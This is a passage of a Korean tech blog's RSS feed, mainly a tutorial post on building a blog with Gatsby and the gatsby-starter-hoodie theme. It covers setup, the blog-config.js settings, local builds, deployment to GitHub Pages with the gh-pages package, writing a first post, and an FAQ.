&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;p&gt;다음 포스팅에서는 &lt;strong&gt;마크다운 글쓰기와 카테고리 관리&lt;/strong&gt; 방법을 다룹니다. frontmatter 작성법, 태그 전략, 시리즈 기능, 폴더 구조 설계까지 체계적인 블로그 운영법을 알아보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Gatsby로 GitHub 블로그 시작하기 — 설치부터 첫 배포까지]]></title><description><![CDATA[안녕하세요, 자바파커입니다. 개발자라면 한 번쯤 나만의 기술 블로그를 운영해보고 싶다는 생각을 해보셨을 겁니다. 네이버 블로그, 티스토리, 벨로그 등 다양한 플랫폼이 있지만, 저는 GitHub Pages + Gatsby…]]></description><link>https://blog.javapark.kr/01-getting-started/</link><guid isPermaLink="false">https://blog.javapark.kr/01-getting-started/</guid><pubDate>Sat, 04 Apr 2026 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;개발자라면 한 번쯤 나만의 기술 블로그를 운영해보고 싶다는 생각을 해보셨을 겁니다. 네이버 블로그, 티스토리, 벨로그 등 다양한 플랫폼이 있지만, 저는 &lt;strong&gt;GitHub Pages + Gatsby&lt;/strong&gt; 조합을 강력히 추천합니다.&lt;/p&gt;
&lt;p&gt;이 포스팅에서는 Gatsby와 gatsby-starter-hoodie 테마를 활용해 GitHub 블로그를 처음부터 배포까지 완성하는 전 과정을 다룹니다.&lt;/p&gt;
&lt;h2&gt;왜 GitHub Pages 블로그인가?&lt;/h2&gt;
&lt;p&gt;GitHub Pages 블로그를 선택해야 하는 이유는 명확합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;비용 0원&lt;/strong&gt;: 호스팅 비용이 전혀 들지 않습니다. GitHub에서 무료로 제공합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;개발자 친화적&lt;/strong&gt;: Git으로 버전 관리를 하고, 마크다운으로 글을 씁니다. 개발자에게 이보다 자연스러운 워크플로우는 없습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;마크다운 기반&lt;/strong&gt;: 코드 블록, 수식, 표 등을 편리하게 작성할 수 있습니다. 기술 블로그에 최적화된 형식입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;커스터마이징 자유&lt;/strong&gt;: HTML, CSS, JavaScript를 완전히 제어할 수 있습니다. 원하는 기능을 직접 추가하고, 디자인을 자유롭게 변경할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;커스텀 도메인 지원&lt;/strong&gt;: 무료 HTTPS와 함께 나만의 도메인을 연결할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SEO 유리&lt;/strong&gt;: 정적 사이트 생성(SSG) 방식이라 검색엔진 최적화에 유리합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;다른 플랫폼과 비교&lt;/h2&gt;
&lt;p&gt;블로그 플랫폼을 선택할 때 가장 많이 고민하는 옵션들을 비교해 보겠습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;GitHub Pages&lt;/th&gt;
&lt;th&gt;티스토리&lt;/th&gt;
&lt;th&gt;벨로그&lt;/th&gt;
&lt;th&gt;Medium&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;비용&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;td&gt;일부 유료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;커스터마이징&lt;/td&gt;
&lt;td&gt;완전 자유&lt;/td&gt;
&lt;td&gt;스킨 수준&lt;/td&gt;
&lt;td&gt;제한적&lt;/td&gt;
&lt;td&gt;거의 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;마크다운&lt;/td&gt;
&lt;td&gt;네이티브 지원&lt;/td&gt;
&lt;td&gt;부분 지원&lt;/td&gt;
&lt;td&gt;네이티브 지원&lt;/td&gt;
&lt;td&gt;부분 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;코드 블록&lt;/td&gt;
&lt;td&gt;커스텀 가능&lt;/td&gt;
&lt;td&gt;기본&lt;/td&gt;
&lt;td&gt;기본&lt;/td&gt;
&lt;td&gt;기본&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEO 제어&lt;/td&gt;
&lt;td&gt;완전 제어&lt;/td&gt;
&lt;td&gt;제한적&lt;/td&gt;
&lt;td&gt;제한적&lt;/td&gt;
&lt;td&gt;불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;광고 수익&lt;/td&gt;
&lt;td&gt;직접 설정&lt;/td&gt;
&lt;td&gt;카카오 애드핏&lt;/td&gt;
&lt;td&gt;불가&lt;/td&gt;
&lt;td&gt;Partner Program&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;초기 설정 난이도&lt;/td&gt;
&lt;td&gt;높음&lt;/td&gt;
&lt;td&gt;낮음&lt;/td&gt;
&lt;td&gt;매우 낮음&lt;/td&gt;
&lt;td&gt;매우 낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;초기 설정이 다소 복잡하다는 단점이 있지만, 이 시리즈를 따라오시면 어렵지 않게 완성할 수 있습니다.&lt;/p&gt;
&lt;h2&gt;사전 준비&lt;/h2&gt;
&lt;p&gt;Gatsby 블로그를 시작하기 전에 다음 도구들이 필요합니다.&lt;/p&gt;
&lt;h3&gt;Node.js 설치&lt;/h3&gt;
&lt;p&gt;Gatsby는 Node.js 기반 프레임워크입니다. &lt;a href=&quot;https://nodejs.org/&quot;&gt;Node.js 공식 사이트&lt;/a&gt;에서 &lt;strong&gt;LTS 버전&lt;/strong&gt;을 설치합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 설치 확인&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--version&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# v20.x.x 이상 권장&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--version&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 10.x.x 이상&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;팁&lt;/strong&gt;: nvm(Node Version Manager)을 사용하면 Node.js 버전을 쉽게 관리할 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Git 설치&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://git-scm.com/&quot;&gt;Git 공식 사이트&lt;/a&gt;에서 설치하거나, 아래 명령어로 확인합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--version&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# git version 2.x.x&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;GitHub 계정 생성&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt;에 계정이 없다면 가입합니다. GitHub Pages를 사용하려면 GitHub 계정이 필수입니다.&lt;/p&gt;
&lt;h2&gt;Gatsby 설치 및 프로젝트 생성&lt;/h2&gt;
&lt;h3&gt;Gatsby CLI 설치&lt;/h3&gt;
&lt;p&gt;먼저 Gatsby CLI를 전역으로 설치합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-g&lt;/span&gt; gatsby-cli&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;gatsby-starter-hoodie로 프로젝트 생성&lt;/h3&gt;
&lt;p&gt;gatsby-starter-hoodie는 깔끔한 디자인과 다크모드, 시리즈 기능 등을 기본 제공하는 테마입니다. 이 블로그(AI JAVAPARK)에서도 사용하고 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 프로젝트 생성&lt;/span&gt;
npx gatsby new my-blog https://github.com/devHudi/gatsby-starter-hoodie

&lt;span class=&quot;token comment&quot;&gt;# 프로젝트 폴더로 이동&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; my-blog&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;프로젝트 생성이 완료되면 다음과 같은 폴더 구조가 생성됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;my-blog/
├── contents/
│   └── posts/          # 블로그 글 저장 폴더
├── src/
│   ├── assets/         # 테마, 이미지 등 정적 자원
│   ├── components/     # React 컴포넌트
│   ├── pages/          # 페이지 컴포넌트
│   └── templates/      # 템플릿 컴포넌트
├── static/             # 정적 파일 (favicon 등)
├── blog-config.js      # 블로그 설정 파일
├── gatsby-config.js    # Gatsby 설정 파일
├── gatsby-node.js      # Gatsby Node API
└── package.json&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;blog-config.js 설정&lt;/h2&gt;
&lt;p&gt;프로젝트 루트에 있는 &lt;code class=&quot;language-text&quot;&gt;blog-config.js&lt;/code&gt; 파일을 열어 블로그 기본 정보를 설정합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;AI JAVAPARK&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;개발과 AI를 다루는 기술 블로그&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;author&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;자바파커&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;siteUrl&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://blog.javapark.kr&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;links&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;github&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://github.com/javapark&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// 사용하지 않는 링크는 빈 문자열로 두면 됩니다&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;linkedIn&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;facebook&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;instagram&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;mailto:your-email@example.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;utterances&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;javapark/blog-comments&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;pathname&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;각 항목을 설명하면 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;title&lt;/strong&gt;: 블로그 제목입니다. 브라우저 탭과 헤더에 표시됩니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;description&lt;/strong&gt;: 블로그 설명입니다. SEO 메타 태그에 사용됩니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;author&lt;/strong&gt;: 작성자 이름입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;siteUrl&lt;/strong&gt;: 배포될 블로그 URL입니다. GitHub Pages 기본 URL(&lt;code class=&quot;language-text&quot;&gt;https://username.github.io&lt;/code&gt;) 또는 커스텀 도메인을 입력합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;links&lt;/strong&gt;: SNS 링크입니다. 프로필 영역에 아이콘으로 표시됩니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;utterances&lt;/strong&gt;: GitHub Issues 기반 댓글 시스템 설정입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;로컬 개발 서버 실행&lt;/h2&gt;
&lt;p&gt;설정을 마쳤다면 로컬에서 블로그를 확인해 봅시다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 개발 서버 실행&lt;/span&gt;
gatsby develop&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;브라우저에서 &lt;code class=&quot;language-text&quot;&gt;http://localhost:8000&lt;/code&gt;으로 접속하면 블로그를 확인할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 만약 포트 충돌이 발생한다면 포트를 변경할 수 있습니다&lt;/span&gt;
gatsby develop &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;9000&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;개발 서버는 &lt;strong&gt;핫 리로딩&lt;/strong&gt;을 지원하므로, 파일을 수정하면 브라우저가 자동으로 새로고침됩니다. 글을 쓰면서 실시간으로 결과를 확인할 수 있어 매우 편리합니다.&lt;/p&gt;
&lt;h3&gt;빌드 테스트&lt;/h3&gt;
&lt;p&gt;배포 전에 프로덕션 빌드가 정상적으로 되는지 확인하는 것이 좋습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 프로덕션 빌드&lt;/span&gt;
gatsby build

&lt;span class=&quot;token comment&quot;&gt;# 빌드 결과 로컬에서 확인&lt;/span&gt;
gatsby serve&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;gatsby serve&lt;/code&gt;를 실행하면 &lt;code class=&quot;language-text&quot;&gt;http://localhost:9000&lt;/code&gt;에서 빌드된 결과물을 확인할 수 있습니다.&lt;/p&gt;
&lt;h2&gt;GitHub Pages 배포&lt;/h2&gt;
&lt;p&gt;이제 가장 중요한 단계인 배포를 진행합니다.&lt;/p&gt;
&lt;h3&gt;GitHub 리포지토리 생성&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;GitHub에서 &lt;strong&gt;New repository&lt;/strong&gt;를 클릭합니다.&lt;/li&gt;
&lt;li&gt;Repository name을 &lt;code class=&quot;language-text&quot;&gt;username.github.io&lt;/code&gt; 형식으로 입력합니다. (예: &lt;code class=&quot;language-text&quot;&gt;javapark.github.io&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Public&lt;/strong&gt;으로 설정합니다. (GitHub Pages 무료 플랜은 Public 리포지토리에서만 동작합니다.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create repository&lt;/strong&gt;를 클릭합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;원격 리포지토리 연결&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 기존 원격 저장소 제거 (starter 원본이 연결되어 있을 수 있습니다)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; remote remove origin

&lt;span class=&quot;token comment&quot;&gt;# 새 리포지토리 연결&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; remote &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; origin https://github.com/username/username.github.io.git

&lt;span class=&quot;token comment&quot;&gt;# 기본 브랜치를 main으로 설정&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; branch &lt;span class=&quot;token parameter variable&quot;&gt;-M&lt;/span&gt; main

&lt;span class=&quot;token comment&quot;&gt;# 첫 커밋 및 푸시&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; commit &lt;span class=&quot;token parameter variable&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Initial commit&quot;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; push &lt;span class=&quot;token parameter variable&quot;&gt;-u&lt;/span&gt; origin main&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;gh-pages 패키지로 배포&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;gh-pages&lt;/code&gt; 패키지를 사용하면 빌드 결과물만 별도 브랜치에 배포할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# gh-pages 패키지 설치&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; gh-pages --save-dev&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;package.json&lt;/code&gt;에 배포 스크립트를 추가합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;deploy&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;gatsby build &amp;amp;&amp;amp; gh-pages -d public -b gh-pages&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;배포를 실행합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; run deploy&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;GitHub Pages 설정&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;GitHub 리포지토리 &gt; &lt;strong&gt;Settings&lt;/strong&gt; &gt; &lt;strong&gt;Pages&lt;/strong&gt;로 이동합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Source&lt;/strong&gt;를 &lt;code class=&quot;language-text&quot;&gt;Deploy from a branch&lt;/code&gt;로 선택합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Branch&lt;/strong&gt;를 &lt;code class=&quot;language-text&quot;&gt;gh-pages&lt;/code&gt;로 선택하고 폴더는 &lt;code class=&quot;language-text&quot;&gt;/ (root)&lt;/code&gt;로 설정합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Save&lt;/strong&gt;를 클릭합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;몇 분 뒤 &lt;code class=&quot;language-text&quot;&gt;https://username.github.io&lt;/code&gt;에 블로그가 배포됩니다.&lt;/p&gt;
&lt;h3&gt;배포 확인&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 배포 상태 확인 (GitHub CLI가 설치되어 있다면)&lt;/span&gt;
gh api repos/&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;owner&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;/&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;repo&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;/pages &lt;span class=&quot;token parameter variable&quot;&gt;--jq&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;.status&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;브라우저에서 &lt;code class=&quot;language-text&quot;&gt;https://username.github.io&lt;/code&gt;에 접속하여 블로그가 정상적으로 표시되는지 확인합니다.&lt;/p&gt;
&lt;h2&gt;첫 글 작성해보기&lt;/h2&gt;
&lt;p&gt;배포가 완료되었으니 첫 글을 작성해 봅시다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 글 폴더 생성&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; contents/posts/my-first-post&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;contents/posts/my-first-post/index.md&lt;/code&gt; 파일을 만들고 다음과 같이 작성합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token front-matter-block&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token front-matter yaml language-yaml&quot;&gt;title: &quot;나의 첫 블로그 포스팅&quot;
description: &quot;GitHub 블로그에 첫 글을 작성했습니다.&quot;
date: 2026-04-04
update: 2026-04-04
tags:
  - 블로그
  - 시작&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 안녕하세요!&lt;/span&gt;

이것은 나의 첫 블로그 포스팅입니다.

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;###&lt;/span&gt; 코드 블록도 됩니다&lt;/span&gt;

\```javascript
console.log(&quot;Hello, Blog!&quot;);
\```&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;글을 작성한 뒤 다시 배포합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; run deploy&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q1. GitHub Pages는 정말 무료인가요?&lt;/h3&gt;
&lt;p&gt;네, 완전히 무료입니다. Public 리포지토리에서는 GitHub Pages를 무료로 사용할 수 있으며, 월 트래픽 제한은 약 100GB입니다. 일반적인 개인 블로그에서는 이 제한에 도달할 일이 거의 없습니다.&lt;/p&gt;
&lt;h3&gt;Q2. gatsby-starter-hoodie 대신 다른 테마를 써도 되나요?&lt;/h3&gt;
&lt;p&gt;물론입니다. &lt;a href=&quot;https://www.gatsbyjs.com/starters/&quot;&gt;Gatsby Starter Library&lt;/a&gt;에서 다양한 테마를 확인할 수 있습니다. 다만 이 시리즈에서는 gatsby-starter-hoodie를 기준으로 설명하므로, 다른 테마를 선택하면 설정 방법이 다를 수 있습니다.&lt;/p&gt;
&lt;h3&gt;Q3. 커스텀 도메인은 어떻게 연결하나요?&lt;/h3&gt;
&lt;p&gt;GitHub 리포지토리 Settings &gt; Pages에서 &lt;strong&gt;Custom domain&lt;/strong&gt; 항목에 원하는 도메인을 입력합니다. 그 전에 도메인 DNS 설정에서 CNAME 레코드를 &lt;code class=&quot;language-text&quot;&gt;username.github.io&lt;/code&gt;로 지정해야 합니다. 이 부분은 시리즈 후반부에서 자세히 다룰 예정입니다.&lt;/p&gt;
&lt;hr&gt;
